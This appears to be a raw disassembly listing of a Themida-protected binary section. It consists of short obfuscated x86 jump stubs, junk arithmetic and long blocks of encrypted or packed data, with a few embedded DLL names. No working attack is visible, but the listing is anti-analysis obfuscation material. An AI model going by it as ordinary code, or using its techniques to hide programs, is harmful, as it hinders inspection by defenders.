; ---------------------------------------------------------------------------
loc_51750F: ; CODE XREF: Themida_:005124C7j
mov [esp], ebx
jmp loc_511936
; ---------------------------------------------------------------------------
loc_517517: ; CODE XREF: Themida_:0050C651j
push ebx
pop dword ptr [edi+20h]
jmp loc_51788E
; ---------------------------------------------------------------------------
dd 71F76851h, 4890000h, 7786824h, 0C890000h, 0E97FB124h
dd 0FFFF4101h, 6624248Bh, 0E900B60Fh, 0FFFF3C59h, 4247C01h
dd 81243C8Bh, 4C4h, 24148B00h, 0E904C483h, 0FFFF1D55h
dd 42474FFh, 83241C8Bh, 48F04C4h, 48B5C24h, 9634E924h
dd 0B3BAFFFFh, 8115C120h, 1C2h, 0F8F8E900h, 0E289FFFFh
dd 0FF5201E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_517589: ; CODE XREF: Themida_:0050E2DEj
push eax
jmp loc_514AC6
; ---------------------------------------------------------------------------
db 51h
dd 268h, 240C8B00h, 4C481h, 7BE90000h, 89FFFFB8h, 0B7E9242Ch
dd 0BDFFFF26h, 20A86069h, 61AFC581h, 0C5811F7Bh, 289B108Ah
dd 4CF7F581h, 0F5813F70h, 66F680FEh, 8107E5C1h, 71307E5h
dd 1CE9502Fh
db 91h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_50D96C
; ---------------------------------------------------------------------------
loc_5175DF: ; CODE XREF: Themida_:0050F31Dj
mov eax, ebx
pop ebx
mov esi, eax
pop eax
jmp loc_50C322
; ---------------------------------------------------------------------------
dw 95B9h
dd 0E901FD4Fh, 0FFFF543Fh, 81595451h, 4C1h, 63FAE900h
dd 48FFFFFh, 0A044E924h, 0E831FFFFh, 0FF3C92E9h, 5BD889FFh
dd 8358C301h, 0F2E904C3h, 31FFFFCFh, 34332434h, 24248B24h
dd 24040966h, 0B499E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_517632: ; CODE XREF: Themida_:005093E2j
add ecx, 4
jmp loc_50A0BA
; ---------------------------------------------------------------------------
db 81h, 0E3h, 43h
dd 81358304h, 0D4B8ACBh, 65DE96Ah
db 2 dup(0FFh)
word_51764E dw 0F66h ; DATA XREF: Themida_:00502868o
dd 686602B6h, 896675CFh, 6CE92404h, 81FFFEB4h, 4C4h, 0E7814F00h
dd 6C8592Ch, 1E0BCF81h, 0C78161B0h, 4D116430h, 0A110F781h
dd 2705ACD1h, 16C0A0Dh, 0D272DF8h, 3C8B6C0Ah, 4C48324h
dd 0BD55F001h, 7BDF6988h, 8106EDC1h, 0F71EEDF5h, 5DE82919h
dd 0FF91B6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5176A9: ; CODE XREF: Themida_:00516933j
push esp
jmp loc_50AF78
; ---------------------------------------------------------------------------
db 54h
dd 0E389535Eh, 4C381h, 0E9680000h, 8900003Ah, 0D9E9243Ch
dd 89000006h, 4C581E5h, 83000000h, 2C8702C5h, 20DDE924h
dd 0EC83FFFFh, 24048904h, 405E089h, 83000000h, 48704E8h
dd 0C8C2E924h, 0C481FFFEh, 4, 0FFE320E9h, 2434FFFFh, 0FF2CF9E9h
dd 0E963B0FFh, 0FFFF268Bh, 5AB45053h, 0A3E9E388h
db 3, 2 dup(0)
; ---------------------------------------------------------------------------
loc_517717: ; CODE XREF: Themida_:00507AB2j
mov [esp], esp
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
jmp loc_50C5DF
; ---------------------------------------------------------------------------
loc_51772A: ; CODE XREF: Themida_:005160BEj
or edi, 72945F3Ch
jmp loc_512B8C
; ---------------------------------------------------------------------------
db 0B9h, 85h, 32h
dd 81496367h, 300728C9h, 81E1D113h, 4C68F9C1h, 0F3E18155h
dd 83737E5Fh, 1C8904ECh, 36B8BB24h, 0EB81685Fh, 49104DD1h
dd 7AD9EB81h, 41E92AC9h, 5EFFFF6Dh, 0FF3747E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_517771: ; CODE XREF: Themida_:00507195j
mov ecx, ebx
mov edi, ecx
jmp loc_50FD15
; ---------------------------------------------------------------------------
dw 8B54h
dd 0C483243Ch, 0B1BA5204h, 8167B022h, 0F2507EAh, 7E2C13Dh
dd 326DEA81h, 0C2815415h, 3965D71h, 0E95AD701h, 0FFFF7074h
dd 807AB652h, 86E9ACEEh, 0B8FFFEBAh, 0CA6765Bh, 467F920Dh
dd 48D0F727h, 8F085E2Dh, 91D7E90Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5177C6: ; CODE XREF: Themida_:005153BFj
or ebx, ebx
jnz loc_50C67F
push 1850h
mov [esp], ecx
mov ecx, edx
sub esp, 4
mov [esp], eax
push 4994h
jmp loc_5060E3
; ---------------------------------------------------------------------------
dd 0E9240489h, 0FFFF213Eh
; ---------------------------------------------------------------------------
loc_5177F0: ; CODE XREF: Themida_:0050EA68j
or edx, eax
shl edx, 1
push 229Eh
mov [esp], ebx
push 0FFFFFFFFh
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push edx
jmp loc_517287
; ---------------------------------------------------------------------------
db 31h
dd 4332404h, 9C68E924h, 0E7C1FFFFh, 0C6F78106h, 81096665h
dd 0EC5EF5F7h, 2FEF8100h, 54DFAABh, 708047EFh, 0EF2DF801h
dd 8B708047h, 89E9243Ch, 0BBFFFEB5h, 175964C6h, 485BD801h
dd 0FFB535E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_517855: ; CODE XREF: Themida_:00512536j
mov ebp, 4
jmp loc_515899
; ---------------------------------------------------------------------------
loc_51785F: ; CODE XREF: Themida_:00512C72j
xchg ebp, edx
not edx
push ebp
push eax
mov eax, 60DB6736h
mov ebp, eax
mov eax, [esp]
jmp loc_51540B
; ---------------------------------------------------------------------------
dd 1240481h, 58000000h, 8904EC83h, 0BE2434h, 29000000h
dd 4E8BE9C6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51788E: ; CODE XREF: Themida_:0051751Bj
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
loc_5178A0: ; CODE XREF: Themida_:loc_513AC6j
; Themida_:00516627j
push dword ptr [esp]
pop ebx
push 14C0h
mov [esp], eax
jmp loc_5090DC
; ---------------------------------------------------------------------------
db 59h, 4Fh, 52h
dd 3B560D68h, 0EAC15A30h, 4CF28102h, 0E976C81Bh, 0FFFF9B5Ch
dd 567568h, 242C8900h, 0C5815D54h, 4, 0FEF7FEE9h, 0E9C189FFh
dd 0FFFEC865h, 8324148Bh, 0E4C004C4h, 0B5516608h, 0E9EC00D8h
dd 0FFFEC338h
; ---------------------------------------------------------------------------
loc_5178F8: ; CODE XREF: Themida_:0050A6FFj
mov bh, 87h
xor dh, bh
jmp loc_50CBA5
; ---------------------------------------------------------------------------
db 0C3h, 0E9h, 0C4h
dd 66FFFEB1h, 2CE3E681h, 0C9C68166h, 57466609h, 2302BF66h
dd 0FF567CE9h, 68535CFFh, 2C4Ch, 0FF9FB9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_517929: ; CODE XREF: Themida_:0050623Aj
pop esp
jmp loc_50813D
; ---------------------------------------------------------------------------
db 8Fh
dd 248B2404h, 0C6B9E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_51793A: ; CODE XREF: Themida_:0050CFBBj
push ebp
push edi
push 75A855E7h
pop edi
xor edi, 75A855E3h
mov ebp, edi
pop edi
jmp loc_50CE62
; ---------------------------------------------------------------------------
dd 0F9A9E958h, 0D829FFFEh, 0FFC4B4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_51795D: ; CODE XREF: Themida_:005157BCj
mov esp, [esp]
mov [esp], esi
mov esi, esp
jmp loc_510FED
; ---------------------------------------------------------------------------
loc_51796A: ; CODE XREF: Themida_:00514F73j
xor edx, 308338D2h
push dword ptr [esp]
jmp loc_505F36
; ---------------------------------------------------------------------------
dd 97EA815Ah, 811F7B0Ah, 461397EAh, 81DA014Ah, 461397C2h
dd 97C2814Ah, 5B1F7B0Ah, 879EF281h, 0D0315436h, 0FF8D8DE9h
dd 0E9D0F7FFh, 0FFFFEF40h, 403A4005h, 2DE80177h, 77403A40h
dd 8C3DDA05h, 68BE5656h, 0E948BC01h, 0FFFFEAE3h, 2474FF53h
dd 48F5B04h, 2C895C24h, 0F45CE924h, 205FFFEh, 68000000h
dd 14D2h, 0E9240489h, 0FFFEF591h
; ---------------------------------------------------------------------------
loc_5179E8: ; CODE XREF: Themida_:00516003j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_50EFDC
; ---------------------------------------------------------------------------
dw 15Bh
dd 0F0215DEEh, 5E2434FFh, 2FE95453h, 81FFFEFEh, 1A014EEEh
dd 3433594Fh, 24343124h, 0E9243433h, 0FFFF121Ah
; ---------------------------------------------------------------------------
loc_517A1C: ; CODE XREF: Themida_:0050D44Bj
sub ebx, 0FFFFFFFFh
shr ebx, 7
jmp loc_507FD3
; ---------------------------------------------------------------------------
dw 0C181h
dd 0CC6BBC15h, 0FF032EE9h, 4EC81FFh, 89000000h, 0B8502414h
dd 2, 5158C289h, 0CD0C87B9h, 2935E977h, 74E9FFFFh, 8FFFFEB0h
dd 0BE562404h, 4, 4247401h, 685A5Eh, 89000032h, 79BF243Ch
dd 0E9736D36h, 0FFFEBC3Eh, 7C25D8F7h, 3520016Bh, 138E62ECh
dd 0BD58C689h, 5E56875h, 0E95EF531h, 0FFFF977Bh
; ---------------------------------------------------------------------------
loc_517A94: ; CODE XREF: Themida_:005166DCj
add esi, 2
xchg esi, [esp]
mov esp, [esp]
mul cx
push small 6B9Ch
mov [esp], dx
push ax
pushf
jmp loc_512ACD
; ---------------------------------------------------------------------------
loc_517AB3: ; CODE XREF: Themida_:00502D14j
push ecx
push ebx
jmp loc_5059F0
; ---------------------------------------------------------------------------
dw 0F658h
dd 0F6C3FED3h, 50C3FED3h, 0D8F6EEB0h, 0E8C06804h, 51762C02h
dd 0E9C0C9B1h, 0BCC98005h, 0FE79E180h, 0D5F180C1h, 859C800h
dd 0CFE958C3h
db 0E0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_517AEB: ; CODE XREF: Themida_:00503B06j
mov eax, 24D4048Ah
dec eax
shr eax, 3
xor eax, 6D963233h
and eax, 0EC85DC4h
or eax, 47303CEFh
xor eax, 4F383CEBh
add edx, eax
pop eax
xchg edx, [esp]
mov esp, [esp]
push esi
mov esi, esp
jmp loc_512A39
; ---------------------------------------------------------------------------
db 5Eh, 8Bh, 2Ch
dd 4C48324h, 0FF9935E9h, 1C8966FFh, 0A707E924h, 0F101FFFFh
dd 8324348Bh, 0E18104C4h, 7BAD0903h, 6600BE56h, 0F10103A3h
dd 0ABC9815Eh, 83316575h, 3C8904ECh, 3D32E924h, 0C87FFFFh
dd 0FF565C24h, 8B042474h, 0C4832434h, 24048F04h, 0E924248Bh
dd 0FFFFB9E2h, 0E6895659h, 4C681h, 73E90000h
db 79h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_517B7F: ; CODE XREF: Themida_:00507D23j
shr eax, 12h
xor eax, ecx
xor eax, esi
xor esi, eax
xor eax, esi
push ebx
push esp
pop ebx
jmp loc_505463
; ---------------------------------------------------------------------------
dw 8150h
dd 3D1B242Ch, 81592A9Bh, 9B3D1BC1h, 0CB29582Ah, 64BF5759h
dd 5039C167h, 3512BB53h, 874B6AD8h, 1D6E9FBh, 1C890000h
dd 1F99BB24h, 814B2921h, 0F70BD7EBh, 2AE95300h
db 0DDh, 0FEh, 0FFh
byte_517BCF db 66h ; DATA XREF: Themida_:00502948o
dd 5724048Bh, 0E448E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_517BDA: ; CODE XREF: Themida_:00503B36j
mov ch, 0Dh
neg ch
inc ch
dec ch
inc ch
neg ch
xor ch, 55h
add al, ch
pop ecx
add al, bl
push bx
mov bh, 59h
sub al, bh
pop bx
pop bx
jmp loc_507F17
; ---------------------------------------------------------------------------
db 0BDh, 4, 0
dd 0EE010000h, 4EC835Dh, 0E9242C89h, 0FFFEDF18h, 5065E957h
dd 16BFFFFFh, 811DDB5Fh, 0FA6DF0C2h, 0A52BE936h, 8166FFFFh
dd 0E977E0F5h, 0FFFEC9B5h, 4BE56h, 0F2010000h, 2414335Eh
dd 33241431h, 0E95C2414h, 0FFFEC728h, 2E6814Eh, 812AE376h
dd 0BBCD84C6h, 5EF02160h, 0FFE55FE9h, 243C8BFFh, 0FFED86E9h
dd 243489FFh, 1F243481h, 5F09F26Ah, 7AC168h, 241C8900h
dd 0FF350BE9h, 0C18149FFh, 34BB1299h, 0D5AFC181h, 6C817E98h
dd 381C0424h, 35E9425Bh, 50FFFFE7h, 0FF63B9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_517C9D: ; CODE XREF: Themida_:0050651Dj
add edx, 4
jmp loc_50370A
; ---------------------------------------------------------------------------
dd 215DEE89h, 0F5815EF5h, 70862416h, 34FFE901h, 0C4835D24h
dd 74FF5104h, 8F590424h, 248B2404h, 9CC88524h, 0FEADFAE9h
dd 0CCCB80FFh, 81E28952h, 4C2h, 0BA525600h, 75907C05h
dd 7961EA81h, 0C281239Fh, 0AE0EFD5Eh, 295AD689h, 3AE95EF2h
dd 0B0FFFF45h, 0E9D8F6F8h, 0FFFEC10Ch, 23DEE956h, 248BFFFFh
dd 40766824h, 34890000h, 0E9E68924h, 0FFFF5624h, 5D2434FFh
dd 0E95A5452h, 0FFFF5735h, 4EC81h, 2C890000h, 2129BD24h
dd 0EB8917B6h, 5D2434FFh, 4C481h, 39E90000h, 53FFFF09h
dd 0C7FE4EB7h, 0E929CF80h, 0FFFEF641h
dword_517D54 dd 33243C31h, 3C31243Ch, 0F250E924h ; DATA XREF: Themida_:00502990o
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_517D62: ; CODE XREF: Themida_:00509B50j
sub esi, 0A061CB0Eh
xor eax, esi
pop esi
sub esp, 4
mov [esp], ebx
mov ebx, 3F8F615Bh
sub ebp, 7A3842E1h
add ebp, ebx
push esi
mov esi, 7A3842E1h
add ebp, esi
pop esi
pop ebx
jmp loc_50A536
; ---------------------------------------------------------------------------
dd 0E9FB8747h, 0FFFFD72Bh, 0E904E1C1h, 0FFFFDA86h, 8251FBBFh
dd 932AE90Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_517DAA: ; CODE XREF: Themida_:0050DA7Bj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_50521C
; ---------------------------------------------------------------------------
db 89h
dd 19E9242Ch, 0B6FFFEF2h, 0E0C5E902h, 0C481FFFEh, 4, 4EC81h
dd 4890000h, 4BD6B824h, 0C3313274h, 5624048Bh, 0FF4EA3E9h
dd 5E5856FFh, 0E95EF029h, 0FFFF8843h, 66C0B60Fh, 0E987048Fh
dd 0FFFEACCFh
; ---------------------------------------------------------------------------
loc_517DFC: ; CODE XREF: Themida_:0050AAC3j
push ebp
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_50FD78
; ---------------------------------------------------------------------------
loc_517E08: ; CODE XREF: Themida_:0050BED7j
add esi, 1
sub esi, 35173452h
sub ebx, 3F9444AFh
jmp loc_509605
; ---------------------------------------------------------------------------
db 59h
dd 4BA52h, 0D3290000h, 0E924148Bh, 0FFFFB0D1h
dword_517E30 dd 24048B66h, 8904EC83h, 0EC81242Ch, 4, 0FF1D63E9h
; DATA XREF: Themida_:00502A80o
db 0FFh
; ---------------------------------------------------------------------------
loc_517E45: ; CODE XREF: Themida_:00511E50j
add esp, 4
add esp, 4
push ecx
pop esi
jmp loc_50967D
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 4C481h, 0BF570000h, 2, 535FFB01h, 42474FFh, 24048F5Bh
dd 0FFAFC5E9h, 241433FFh, 0E924248Bh, 0FFFEEBB9h, 2C0590B8h
dd 0ED1E920h, 148BFFFFh, 4C48324h, 24048B66h, 3FC1E955h
dd 0BF57FFFFh, 7D8127DBh, 0FFCABDE9h, 0D7BD55FFh, 554F3219h
dd 0FEB109E9h, 0BBC581FFh, 10D2E51h, 3B7568CDh, 14890000h
dd 51BBBA24h, 0D5290D2Eh, 0FF249CE9h, 0C3F381FFh, 8111F16Fh
dd 4D45F2E3h, 1BF38152h, 0E9027B30h, 0FFFFAFBFh, 243C875Bh
dd 0E924248Bh, 0FFFEF843h, 5468F828h, 8900001Eh, 0E8B5240Ch
dd 0FE30C580h, 0A8E580C5h, 8003E5C0h, 0E828F8EDh, 0E9202C59h
dd 0FFFFDC76h, 68241C89h, 2B0Eh, 55243C89h, 0E36FE068h
dd 0DDF75D31h, 0B645C581h, 0A6E96CF2h
db 88h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_517F33: ; CODE XREF: Themida_:0050833Fj
add edx, 43146FDCh
jmp loc_50C9C7
; ---------------------------------------------------------------------------
dw 0E700h
dd 5842EF80h, 6602EC83h, 0B1240C89h, 66C800DCh, 83240C8Bh
dd 20E902C4h
db 0C9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_517F5B: ; CODE XREF: Themida_:0050C9C9j
pop edx
sub edx, edi
pop edi
add edi, edx
pop edx
sub eax, 74530BF2h
sub eax, 352D4B07h
sub eax, edi
jmp loc_507AD0
; ---------------------------------------------------------------------------
db 0E8h
dd 14h, 2EB586B9h, 73470ACBh, 0C415826Fh, 0FF2D348Dh, 0BEEA36D7h
dd 0E95AFB8Bh, 0Ah, 0A8A69ED3h, 74C3153Bh, 0C2812862h
dd 6A08h, 1BEF8166h, 0BEC0h, 0B9660000h, 48B8344h, 0DA8B5332h
dd 0FCE88159h, 8B6B8993h, 9FF081F8h, 0F723332h, 381h, 0FE8B6600h
dd 3583E881h, 0B70F4933h, 0BF6650FFh, 48FBE0Ah, 60CEB332h
dd 1820Fh, 66F80000h, 61F9D5BAh, 8B03EE83h, 0C6B94EFEh
dd 8151241Bh, 0FF96A0FEh, 0AB850FFFh, 60FFFFFFh, 13E8h
dd 0E6A55C00h, 0F68CFE8Ch, 0D8D066FFh, 150F5FC7h, 82C5ACAFh
dd 61595F53h, 535536EBh, 32335245h, 6C6C642Eh, 56444100h
dd 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h
dd 0A07D7h, 120004h, 0C000Bh, 1A5000Ch, 4D970A4Eh, 8CEE9h
dd 0A49F6800h, 60E905E4h, 68FFFDDCh, 5E4A51Ch, 0FDDC56E9h
dd 0A68368FFh, 4CE905E4h, 68FFFDDCh, 5E4A793h, 0FDDC42E9h
dd 0A7FB68FFh, 38E905E4h, 68FFFDDCh, 5E4A8FDh, 0FDDC2EE9h
dd 0A96D68FFh, 24E905E4h, 9EFFFDDCh, 0F3B65C58h, 261B8703h
dd 81E0EEB2h, 0F74A5056h, 0E512B806h, 763CA1FEh, 0DCE21968h
dd 5897336h, 692FA899h, 0A700616Dh, 0F9FC1AB6h, 0FE4266Fh
dd 6347CC72h, 0C3DF5BFCh, 0E57601FAh, 0F7CB9BA0h, 0E55B9081h
dd 10A73442h, 45B5F4D0h, 8A976079h, 8236A3A6h, 1A988DF1h
dd 86236E7Fh, 0DE46183Ch, 0E6691857h, 86541041h, 7560C119h
dd 2A67D437h, 103D8A91h, 54E051F6h, 8D2A1986h, 198654CCh
dd 4B202E05h, 0A9E86B1Eh, 51F6692Dh, 198654E0h, 18617A31h
dd 0E4641E7Eh, 0E4A7DA91h, 5829B5F3h, 2B9C199Fh, 4E1EC004h
dd 70F583Bh, 7F10000h, 0B2220783h, 6199E8F6h, 5F0B15Dh
dd 0B5261B87h, 0AD54E3EFh, 39A5EB10h, 87039148h, 6E7438A2h
dd 32D8DE1Bh, 0E556F332h, 3CF9FC1Dh, 696EB571h, 9DE8AE29h
dd 0A9EDE958h, 0B3D0297Ch, 35926695h, 0FC18B904h, 0FC2966DDh
dd 3595DC4Dh, 0BAD3E118h, 0A7007847h, 0E535DF78h, 63D801FDh
dd 733FBDFCh, 0A4E81257h, 0FD91E41h, 9624E817h, 0AFD40165h
dd 45B6D22h, 92210065h, 72000006h, 0A79A0084h, 1A6F6B2Fh
dd 7534D2DEh, 0AB9E0482h, 0C9666C32h, 5A68952Ah, 800ECDBCh
dd 0E9B5271Ah, 5D5B9CEDh, 0D3748DB1h, 0F9FC1C62h, 6E08F2B3h
dd 99D82369h, 80C35A60h, 8D345755h, 0D63F4E4Ch, 0C058A094h
dd 1780AE86h, 0C2621AE5h, 51F6698Fh, 0FC18DDE0h, 0C5617A31h
dd 3A047308h, 7FA7h, 2FAE9B00h, 18B9C98Ah, 9A2318FCh, 7E6422D7h
dd 0B9FB8870h, 10C9FC18h, 0B976E740h, 0DAAFFC18h, 0F5229F1Dh
dd 0E31958E9h, 0BC74BEDFh, 0F380502Fh, 920C11EAh, 18C80435h
dd 0F061C6FCh, 21FC18C8h, 0E677CC4Ah, 0DC19054Eh, 63E6531Eh
dd 7135A1E0h, 0E85B0F68h, 85F201FBh, 98400382h, 8CF879DEh
dd 5229F9FBh, 745586E5h, 7830FCDh, 91F4B822h, 89CA6FEEh
dd 58F9FB8Ch, 0B277DAE3h, 8F000005h, 0D823696Eh, 0DB4E62EFh
dd 0FACEF47Eh, 95930401h, 650BBA0Dh, 0CAFFBCCh, 0CA33095Eh
dd 0D86553C4h, 84F1BF3Ch, 0A93E434Fh, 0A7E0CD9Fh, 0C339427h
dd 0B1A207CBh, 60F9FA02h, 82B3140Bh, 53F9FA02h, 2823AFE4h
dd 0C6CA0D2Bh, 0E15E8B11h, 3DBCFF7Eh, 6A71477h, 1FE70ABDh
dd 296FF804h, 0F31DD6ACh, 0FAB1D5F6h, 0CAD60447h, 397F7DCCh
dd 22ADF8BEh, 5992E9B7h, 0ED54B7ECh, 241AEECh, 89FE7A2Bh
dd 52B95FCh, 0EBED0000h, 965E23AFh, 45B5F412h, 0E9EC5D79h
dd 994227A3h, 91708F0Bh, 0C5C1CF0Ch, 0A32F7564h, 0A901CDEh
dd 0DEC4C237h, 94AEF16h, 0D8F9FC1Fh, 696E9155h, 6099D823h
dd 0A8E5AB50h, 0B98D3B5Dh, 18BB8CABh, 78AAD0FCh, 0D73A0415h
dd 0FFFFFEBDh, 7BEB1150h, 7D83319Ch, 6AB1EEF3h, 0AEE2D8E1h
dd 18A1EDEFh, 831AA059h, 2052936h, 0B9352683h, 97ECFC18h
dd 5A63CD86h, 3790E217h, 0F56B6FC8h, 1FA201FAh, 0FAE8B9BAh
dd 0A61368F9h, 3E123F38h, 0EBD8AE0Bh, 44330418h, 0D6E97E21h
dd 307E7F41h, 3BF760D5h, 6AB3144Bh, 0F7DC61D4h, 0D70544C5h
dd 0A23BB0CBh, 8845CCB8h, 2545C8E7h, 5E15B5B4h, 0B219536h
dd 0C7CD6CB9h, 67AC3D6Ah, 14Dh, 0CC720F5Bh, 5BFC6347h
dd 1FAC3DFh, 60C73976h, 0D010DCCAh, 58CFE360h, 46F897FFh
dd 7A81FEDEh, 0BDAC808Dh, 64BE721Ch, 0A3A69DE4h, 15B1F7E0h
dd 0E8EFA354h, 0B50875A2h, 0B81EC0A3h, 41B82EDh, 0FBFD0000h
dd 0A62E13BFh, 5585E4E2h, 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh
dd 35D1DF1Ch, 933F8574h, 7A602CAEh, 0CED4D207h, 195AFF06h
dd 0C8F9FC1Eh, 7B188145h, 4577D057h, 9801FD5Ch, 0FFFDBCA3h
dd 4A0D8CB3h, 3B3C0D8Bh, 0EAF9FC1Dh, 1D41F257h, 0DB90F9FCh
dd 0F8495D6Eh, 0E46FBE02h, 0EF48B5F3h, 0E2045C86h, 3B3BC87h
dd 63950000h, 0EC6BB27h, 0BD3D0C8Ah, 6194D5F1h, 11CABF5Bh
dd 9E80783h, 5D7947B4h, 3BA7EDECh, 82089446h, 567C3ABFh
dd 81B2176Eh, 50F9FC1Eh, 696EE92Dh, 0D659D823h, 18B9C071h
dd 815A11FCh, 89319DEh, 7C8F13C9h, 63BA08F5h, 9DE9DD87h
dd 8035505Eh, 0DB4C3D4Bh, 372E9A39h, 87CF1867h, 792A5AFh
dd 25D0FC18h, 74B0CADh, 0AD9AFC18h, 6BA01570h, 4541B5F4h
dd 1614B526h, 3A04D1BCh, 0FFFD1013h, 696E57FFh, 51AB3C23h
dd 2190365Eh, 2FF8627h, 9136291Dh, 1FA10ADh, 0F2BE3C7Fh
dd 0D8C6BDE9h, 0C17D0F12h, 76F9685Ch, 18B960D1h, 0E1FAB1FCh
dd 0C39D19BEh, 0B53401FAh, 0FAB32314h, 4885F2F9h, 26283F18h
dd 0E360A1D2h, 70D958CFh, 51E1C4FFh, 1805916h, 3A25EB8h
dd 0A3FAB1ACh, 62E5C956h, 2157BDC5h, 681F54B2h, 0ECEAB029h
dd 0DEDA1A5Dh, 1795420Dh, 834D77EAh, 5C274250h, 2B1h, 0A5216593h
dd 0E9410C4h, 0D7F3BF3Bh, 0B9256392h, 18D13C8h, 49B20BEAh
dd 0EFEA5F7Bh, 964425A1h, 3CBD8C0Ah, 156C507Eh, 0FC1183B4h
dd 0EBD352F9h, 0D0577B18h, 0FD5C4B77h, 3DBF8201h, 0E93C827Bh
dd 47FA376Ch, 0CCCAD604h, 0E8337F7Dh, 0A0EEE6A9h, 0A12A7137h
dd 0C6C43574h, 0AA9536A7h, 3571652Dh, 4F8408F2h, 5C86B922h
dd 8AD5B004h, 241h, 35D1D503h, 9E048074h, 67632FABh, 0C9D5D302h
dd 913D8378h, 0B9227B1Ah, 5F9AEFEBh, 6F4B551h, 0AC2D1CBAh
dd 85FCE0EEh, 0FC103324h, 7BA3E2F9h, 0EEA039AEh, 73E4A255h
dd 506909DEh, 53D6FA67h, 0FD44C8F6h, 0BFFE0301h, 67E8713Dh
dd 0B3F9FC02h, 1EF57A9Eh, 0D2A9B578h, 2063E265h, 6BD6F7B5h
dd 0EAFCF46Eh, 58BDCF13h, 0CFCF8029h, 2906F9FCh, 7AE5D6FCh
dd 0CB72D74Ah, 1AF9FCCFh, 6697DE2Dh, 9190CD58h, 0CDEF5E78h
dd 4A93D7F4h, 0A502D607h, 0F9FCA2B4h, 3DD9166Dh, 810DCD8Ch
dd 0ECC04F38h, 0F66DFA7Dh, 0F47901ECh, 86CA8B2Ch, 2C1BF9FCh
dd 0C48DD6F7h, 16F9FC86h, 86013297h, 0D7DDF9FCh, 70F80C7h
dd 661956FCh, 0FCA590C1h, 0D1EA41F9h, 24AFFEB5h, 0D99A3FB3h
dd 8F9FCA5h, 2EA7C633h, 2880ECBh, 0A9FCBA3Fh, 0A2040647h
dd 357364D2h, 991FD8A9h, 9B400302h, 6445F615h, 8FB200FDh
dd 565008CCh, 909205CDh, 0A8B31441h, 0A554171Ah, 0D84F8C1Fh
dd 0FC18FE7Fh, 8F5817F9h, 43EFC7h, 0B5D0D4h, 793FB8A7h
dd 93BB2C5Dh, 345288EFh, 28D59C2Dh, 0A0A1039Ah, 0BB1C9FE2h
dd 0F9FC04BAh, 83CB1C6Bh, 89647B3h, 703EBF82h, 6C30AA15h
dd 0BFB7B119h, 0A69730B3h, 0A4F9FC04h, 0D9126937h, 800CCCBDh
dd 22BBF065h, 71F0BE3Fh, 1A9049D8h, 0D4F54B36h, 867336h
dd 0B8199CE5h, 4E08B168h, 0C3CF0876h, 0B05E8B17h, 518808F1h
dd 4CF71643h, 0B8FA018Fh, 0EA21B639h, 9EE50D03h, 0FDB8B982h
dd 12694240h, 49B581C9h, 0BD8C0A90h, 0D22F7E3Ch, 2E6A934Dh
dd 79B6E3A9h, 0A0E561C6h, 0ED1CBFA2h, 22D60B4Ch, 0EC6DDA38h
dd 9D32F249h, 0D5F12EC4h, 0D6497DE2h, 0C7315D71h, 6CBFF4C5h
dd 28B6F4E5h, 7A811699h, 4CE43DC2h, 6E99DA63h, 6A933607h
dd 8E94C124h, 0B02928B1h, 0EEB693EAh, 398E93B7h, 6EFB877Fh
dd 669F6AE4h, 5BE8F5C2h, 8020DE7Fh, 0EA0A76E7h, 0CB2B1C05h
dd 0C8A4FF2h, 7036A386h, 6D2BAA15h, 0A77A6DFAh, 99D2EA85h
dd 93DD2540h, 0E4A257A3h, 484E8BFEh, 3523Dh, 0A7680000h
dd 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h
dd 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h, 1268F278h
dd 89000031h, 0BF572424h, 4, 4247C01h, 1222685Fh, 34890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push ebx
mov ebx, 0C6E6439h
shl ebx, 4
dec ebx
sub ebx, 0C465296Eh
inc ebx
shr ebx, 2
shl ebx, 5
and ebx, 696D3AE8h
sub ebx, 75B179ACh
add ebx, 7B8E0D9Ch
mov esi, ebx
pop ebx
push 7509h
mov [esp], esp
add dword ptr [esp], 4
pop edi
sub esp, 4
mov [esp], esi
pop dword ptr [edi+8]
push dword ptr [esp]
pop edi
add esp, 4
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
db 34h, 8Ch, 0A4h
dd 0EB5D0F17h, 0A84574CCh, 0B8601B50h, 5E4ABD3h, 0E0FFC503h
dd 315EFAFCh, 231C07AAh, 35A8F205h, 2EF14E66h, 3618953Eh
dd 14EECBF8h, 144EA180h, 389DA41Dh, 38657D0Dh, 406782C2h
dd 55EADDE2h, 483ADA45h, 33A19E76h, 3B0C6BB0h, 18BD753Ch
